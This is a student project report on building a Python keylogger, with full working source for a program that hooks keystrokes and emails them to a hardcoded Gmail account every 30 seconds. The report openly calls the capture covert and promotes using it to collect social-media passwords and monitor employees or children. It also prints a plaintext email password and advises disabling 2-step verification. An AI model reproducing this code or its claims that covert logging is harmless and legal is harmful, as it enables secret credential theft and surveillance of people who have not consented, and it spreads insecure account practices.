The document describes a mini project report submitted by a student for their Bachelor of Information Technology degree. It involves developing a keylogger application using Python that monitors keyboard activity and sends logged keystrokes to an administrator's email address every 30 seconds without the user's knowledge. The report outlines the objectives, existing system, proposed system, system requirements, design including input, output, and code design, and includes appendices with the code implementation, testing, and output.
1. Studocu is not sponsored or endorsed by any college or university
Sample-project-documentation
BscIT (Guru Nanak College of Arts, Science and Commerce)
Studocu is not sponsored or endorsed by any college or university
Sample-project-documentation
BscIT (Guru Nanak College of Arts, Science and Commerce)
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
2. SYSTEM SURVEILLANCE USING KEYLOGGER
MINI PROJECT REPORT
SUBMITTED BY
DAYA SRI K
(Reg.No.1913141100011)
Under the guidance of
Dr.J.Vanathi M.C.A ,M.Phil. Ph.D.,(SET)
Head of the department,
B.Sc.( Information Technology)
The partial fulfillment of the requirements
For the award of the degree
Of
Bachelor of Information Technology
DEPARTMENT OF INFORMATION TECHNOLOGY
GURU NANAK COLLEGE (AUTONOMOUS)
Guru Nanak Salai, Velachery, Chennai – 600 042.
MAY - 2022
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
3. GURU NANAK COLLEGE (Autonomous)
(Affiliated to University of Madras)
Guru Nanak Salai, Velachery, Chennai - 600 042.
DEPARTMENT OF INFORMATION TECHNOLOGY
This is to certify that, this is a bonafide record of work done by
DAYA SRI K with Register No 1913141100011 in Mini Project during
the Academic Year 2021-2022.
Internal Project Guide Head of the Department
Submitted for the Sixth Semester Mini Project Examination held
on - at the DEPARTMENT OF INFORMATION TECHNOLOGY,
GURU NANAK COLLEGE(Autonomous), Guru Nanak Salai, Velachery,
Chennai - 600 042.
Internal Examiner External Examiner
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
4. GURU NANAK COLLEGE (Autonomous)
(Affiliated to University of Madras)
Guru Nanak Salai, Velachery, Chennai - 600 042.
DEPARTMENT OF INFORMATION TECHNOLOGY
DECLARATION
I DAYA SRI K, Reg. No: 1913141100011, Third year BSc IT
student, hereby declare that the Mini Project Report entitled, SYSTEM
SURVEILLANCE USING KEYLOGGER is the original work carried out by
me under the supervision of Dr.J.Vanathi (qualification)– Head of the
Department (B.Sc. Information Technology), towards the partial fulfillment ofthe
requirements of BSc.(IT) Degree at Guru Nanak College (Autonomous).
I further declare that this Mini Project has not been submitted elsewhere for any
other degree.
Place: Chennai Sincerely,
Date:
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
5. GURU NANAK COLLEGE (Autonomous)
(Affiliated to University of Madras)
Guru Nanak Salai, Velachery, Chennai - 600 042.
DEPARTMENT OF INFORMATION TECHNOLOGY
CERTIFICATE
This is to certify that the Mini Project entitled SYSTEM
SURVEILLANCE USING KEYLOGGER, submitted in partial fulfillment
of the requirement for the award of B.Sc.(Information Technology) Degree of
Guru Nanak College (Autonomous) is a result of a Bonafide work carried out by
DAYA SRI K during the year 2021-2022, under my supervision.
Place: Chennai Internal Guide
Date:
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
6. ACKNOWLEDGEMENT
I also convey my regards to our PRINCIPAL Dr. M.G. Ragunathan(Qualification)
for their support to pursue this course.
At the outset, I take this opportunity to express my cheerful thanks to Dr.J.Vanathi
(Qulaification) Head of the Department (B.Sc. Information Technology) for
always being a source of guidance and Inspiration.
I express my deep sense of gratitude to my guide Dr.J.Vanathi , Head of the
department (B.Sc. Information Technology), for her encouragement to this project.
She motivated me to do project using Python programming language. She encouraged me all
way to complete this project.
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
7. ABSTRACT
In many companies now-a-days data security and data recovery is the
most important factor. So there are many cases where data recovery is required.
For these kinds of problems keylogger is one of the best solutions which is often
referred to as keylogging or keyboard capturing.
Keyboard capturing is the action of recording the keys stroke on a keyboard,
typically covertly, so that the person using the keyboard is unaware that their
actions are being monitored. Using keylogger application users can retrieve data
when working file is damaged due to several reasons like loss of power etc.
This is a surveillance application used to track the users which logs keystrokes;
uses log files to retrieve information. Using this application we can recall
forgotten email or URL. In this keylogger project, whenever the user types
something through the keyboard, the keystrokes are captured and mailed to the
mail id of admin without the knowledge of the user within the time set.
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
8. TABLE OF CONTENTS
CHAPTER TOPIC PAGE NO.
1 Introduction 1
1.1 Objectives
1.2 Project Overview
2 System Analysis
2.1 Existing System
2.2 Proposed System
3 System Requirements
3.1 Hardware Configuration
3.2 Software Configuration
4 System Design
4.1 Input Design
4.2 Output Design
4.3 Code Design
4.4 Representation Diagram
5 Appendices
5.1 Code Implementation
5.1 Testing
5.3 Output
6 Conclusion
7 References
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
9. CHAPTER 1
PROJECT INTRODUCTION
In many IT infrastructure organizations now-a-days, data security and data
recovery are the most important factors which is basically deployed in Computer
Forensics. Computer forensics consists of the art of examining digital media to
preserve, recover and analyze the data in an effective manner. There are many
cases where data recovery is required essentially. So by using keylogger
application users can retrieve data in the time of disaster and damaging of
working file due to loss of power etc. Keyloggers are specially effective in
monitoring ongoing crimes. This is a surveillance application used to track the
users which log keystrokes, uses log files to retrieve information, capture a
recordof all typed keys. The collected information is saved on the system as a
hidden file or emailed to the Admin or the forensic analyst.
The purpose of this application is to keep tracks on every key that is typed
through the keyboard and send it to the admin through the mail server in the
time set or given. It provides confidentiality as well as data recovery to all the
IT infrastructures in need.
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
10. 1.1 OBJECTIVE
The main objective of this document is to illustrate the requirements of the
project Keylogger. Now- a-days IT business infrastructures are mostly in need of
the cyber security factor that is Computer Forensics. Keyloggers can effectively
assist a computer forensics analyst in the examination of digital media.
Keystroke loggers are available in software and hardware form, and are used to
capture and compilea record of all typed keys. The information gathered from a
keystroke logger can be saved on the system as a hidden file, or emailed to the
forensic analyst or the Administrator. Generic keystroke loggers typically record
the keystrokes associated with the keyboard typing. Advanced keystroke loggers
have many additional features. Our project keylogger has the following features;
Monitors Keystrokes
Sends mail to the Admin’s mail Id
Logs keystrokes including special keys
Keyloggers have the advantage of collecting information before it is encrypted;
thus making a forensic analyst’s job easier. Most keyloggers show no signs of
any intrusion within the system allowing for them to gain typed information
without anyone having knowledge of its actions except the user who use it.
Keyloggers incorporate a wide array of cyber security issues and provide a
practical approach to understand topics such as attacker goals, varieties of
malware and their implementation, the role of malware in infecting and how
stealth is archived in an infected system.
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
11. 1.2 PROJECT OVERVIEW
Keylogger is basically using keystroke logs to monitor the system and send the details
to the admin through the mail server. Keyloggers provide the best solutions in case of
such cases like; IT organizations can indicate their concerns by going after the culprit
whose performance is deteriorating that of the whole organization, parents can maintain
a check on their children’s activities, a particular person’s activities can be monitored,
storing passwords of various social media profiles. Above all, keylogger is one of the
best implementation of fundamentals of ethical hacking. By using this some measures
could be done accordingly that would save personal data from being in the hands of
total strangers.
Hackers and other third parties are always looking for the vulnerabilities present inside
the system. To gain knowledge about what they require from the organizations, they
either gain access to the confidential data stored in the system and either cause harm to
the integrity of data or may cause data loss. Another problem is that cyber crimes are
increasing day by day. If we will have the chat logs or keystroke logs of victim’s laptop
then we can easily analyze the entire planning of the victim which will provide the best
solution to eradicate or solve the problem.
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
12. CHAPTER 2
SYSTEM ANALYSIS
Authorized use of a keylogger is use of such software with the knowledge and consent
of the PC Owner or security administrator. As a rule, authorized monitoring software
products require physical access to computer and administrative privilege for
configuration and installation that excludes (or at least minimizes) risks of unauthorized
use of programs. As per the rule, such software products have ability to obtain and
configure a “packed” installation executable file that is delivered to the user’s computer
with the help of various ethical and authorized schemes. During installation it doesn’t
display any messages or create any windows on the screen.
2.1 EXISTING SYSTEM
Features of designed keylogger that are implemented and are going to be
implemented inthis project;
Keystroke Recording
Remote Monitoring
Web History logging
Screenshot History
Invisible mode & password protection
Application monitoring and file tracking
Email reports
2.2 PROPOSED SYSTEM
1. Smtplib:The module included in python defines an SMTP client session
object that can beused to send mail to any internet machine with an
SMTP listener daemon.
2. Threading:It is one of the modules provided with python includes a
simple-to-implementlocking mechanism that allows you to synchronize
threads.
3. keyboard: This module allows you to take complete control of your keyboard,
hook global events, register hotkeys, simulate key presses, and much more, and
it is a small module, though.
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
13. CHAPTER 3
SYSTEM REQUIREMENTS
The product will be operating in windows, Linux environment. The hardware configuration
include Hard Disk: 40 GB, Monitor: 15” Color monitor, Keyboard: 122 keys. The basic input
devices required are keyboard, mouse and output devices are monitor, mobile devices etc.
3.1 HARDWARE REQUIREMENTS
Operating system : Windows and Linux specified
RAM : 512MB (minimum requirement)
Hard Disk : 1GB working space (minimum requirement)
3.2 SOFTWARE REQUIREMENTS
Languages : Python
Tools : Visual studio code, python 3.10
Technology : Advanced programming using Python
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
14. CHAPTER 4
SYSTEM DESIGN
Programming Environment:
1. Python 3.10
2. Visual studio code
Program Files Used:
1. Keylogger.py
Document Conventions
Entire document should be justified.
Convention for Main title
Font face: Times New Roman
Font style: Bold
Font Size: 16
Convention for Sub title
Font face: Times New Roman
Font style: Bold
Font Size: 14
Convention for body
Font face: Times New Roman
Font Size: 14
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
15. 4.1 INPUT DESIGN
Python programming language is used to develop the set of codes here.
The Python language type is a high-level, dynamically typed one that is among the most
popular general-purpose programming languages. It is among the world’s fastest-
growing programming languages and is used by software engineers, mathematicians,
data analysts, scientists, network engineers, students, and accountants.
Python is an Interpreted, object-oriented, and high-level programming language. It is
called an interpreted language as its source code is compiled to bytecode which is then
interpreted. CPython usually compiles Python code to bytecode before interpreting it.
Used visual studio code to debug and compile the python program that is developed.
Visual Studio Code is a streamlined code editor with support for development
operations like debugging, task running, and version control. It aims to provide just the
tools a developer needs for a quick code-build-debug cycle and leaves more complex
workflows to fuller featured IDEs, such as Visual Studio IDE.
4.2 OUTPUT DESIGN
The project’s output which is the logs of the keystrokes is sent to the provided e-mail
ID as well as it is saved as a local file in the owner’s system which can be viewed
anytime by the user. The keystroke logs are saved and sent to the mail every 30
seconds.
4.3 CODE DESIGN
First, we need to install a module called keyboard, go to the terminal or the command
prompt and write:
$ pip install keyboard
This module allows you to take complete control of your keyboard, hook global events,
register hotkeys, simulate key presses, and much more, and it is a small module, though.
Then start by importing the necessary modules
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
16. import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
# Timer is to make a method runs after an `interval` amount of time
from threading import Timer
from datetime import datetime
If you choose to report key logs via email, then you should set up a Gmail account and
make sure that:
Less secure app access is on (we need to enable it because we will log in
using smtplib in Python).
2-Step Verification is off.
Like it is shown in these two figures:
Then initialize the parameters:
SEND_REPORT_EVERY = 30 # in seconds, 60 means 1 minute and so on
EMAIL_ADDRESS = "naanoviyan18@gmail.com"
EMAIL_PASSWORD = "oviyannaan"
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
17. Setting SEND_REPORT_EVERY to 30 means we report our keylogs every 30 seconds.
Duration can be edited to our needs.
The best way to represent a keylogger is to create a class for it, and each method in this
class does a specific task:
class Keylogger:
def __init__(self, interval, report_method="email"):
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
self.report_method = report_method
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# record start & end datetimes
self.start_dt = datetime.now()
self.end_dt = datetime.now()
Set report_method to "email" by default, which indicates that we'll send keylogs to our
email, you'll see how we pass "file" later and it will save it to a local file.
Now, we need to use keyboard's on_release() function that takes a callback that for
every KEY_UP event (whenever you release a key in the keyboard), it will get called,
this callback takes one parameter which is a KeyboardEvent that have
the name attribute, let's implement it:
def callback(self, event):
"""
This callback is invoked whenever a keyboard event is occured
(i.e when a key is released in this example)
"""
name = event.name
if len(name) > 1:
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
18. # not a character, special key (e.g ctrl, alt, etc.)
# uppercase with []
if name == "space":
# " " instead of "space"
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# finally, add the key name to our global `self.log` variable
self.log += name
So whenever a key is released, the button pressed is appended to self.log string variable.
If we choose to report our keylogs to a local file, the following methods are responsible
for that:
def update_filename(self):
# construct the filename to be identified by start & end datetimes
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
"""This method creates a log file in the current directory that contains
the current keylogs in the `self.log` variable"""
# open the file in write mode (create it)
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
19. with open(f"{self.filename}.txt", "w") as f:
# write the keylogs to the file
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
The update_filename() method is simple; we take the recorded datetimes and convert
them to a readable string. After that, we construct a filename based on these dates,
which we'll use for naming our logging files.
Then we need to implement the method that given a message (in this case, key logs),
it sends it as an email:
def sendmail(self, email, password, message):
# manages a connection to the SMTP server
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# connect to the SMTP server as TLS mode ( for security )
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message
server.sendmail(email, email, message)
# terminates the session
server.quit()
The method that reports the keylogs after every period of time:
def report(self):
"""
This function gets called every `self.interval`
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
20. It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.end_dt = datetime.now()
# update `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# if you want to print in the console, uncomment below line
# print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
# set the thread as daemon (dies when main thread die)
timer.daemon = True
# start the timer
timer.start()
So we are checking if the self.log variable got something (the user pressed something in
that period), if it is the case, then report it by either saving to a local file, or sending as
an email.
And then we passed the and the function self.report() to Timer() class, and then call
the start() method after we set it as a daemon thread.
This way, the method we just implemented sends keystrokes to email or saves it to a
local file (based on the report_method) and calls itself recursively
each self.interval seconds in separate threads.
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
21. Let's define the method that calls the on_release() method:
def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# make a simple message
print(f"{datetime.now()} - Started keylogger")
# block the current thread, wait until CTRL+C is pressed
keyboard.wait()
This start() method is what we'll use outside the class, as it's the essential method, we
use keyboard.on_release() method to pass our previously defined callback() method.
After that, we call our self.report() method that runs on a separate thread and finally we
use wait() method from the keyboard module to block the current thread, so we can exit
out of the program using CTRL+C.
We are basically done with the Keylogger class, all we need to do now is to instantiate
this class we have just created:
if __name__ == "__main__":
# if you want a keylogger to send to your email
# keylogger = Keylogger(interval=SEND_REPORT_EVERY,
report_method="email")
# if you want a keylogger to record keylogs to a local file
# (and then send it using your favorite method)
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
22. If we want reports via email, then you should uncomment the first instantiation where
we have report_method="email". Otherwise, if we want to report keylogs via files into
the current directory, then we should use the second one, report_method set to "file".
When we execute the script using email reporting, it will record your keystrokes, after
30 seconds, it will send all logs to the email.
4.4 REPRESENTATION DIAGRAM
CHAPTER 5
APPENDICES
5.1 CODE IMPLEMENTATION
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
28. Figure: 5.2.1 – Starting the keylogger in command prompt
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
29. Figure: 5.2.1 – Keystrokes are getting saved
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
30. Figure: 5.2.3 – Testing some keystrokes
5.3 OUTPUT
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
31. Figure: 5.3.1 – The keystroke logs are received via mail
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
32. Figure: 5.3.2 – Keystroke logs are received via mail for every 30 seconds
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
33. Figure: 5.3.3 – Keystroke logs are stored as local files in the system
CHAPTER 6
CONCLUSION
A Keylogger is a form of software which is used to track or log the all the
keys that a user strikes on their keyboard, usually in secret so that the user
of the system doesn’t know that their actions are being monitored. It is
otherwise known as keyboard capturer. These are perfectly legal and
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209
34. useful. They can be installed by employers to oversee the use of their
computers, meaning that the employees have to complete their tasks
instead of procrastinating on social media. Some of the possible
amendments and improvements in this project are;
Adding screenshots of pages visited
Recording of system screen
Full remote cloud monitoring
Screenshot of immediately changed pages
Secure web account for data storing
Password Protection
Parental Control
CHAPTER 7
REFERENCES
1. https://medium.com/
2. https://www.slideshare.net/
Downloaded by Leo LS (lokils0208@gmail.com)
lOMoARcPSD|25146209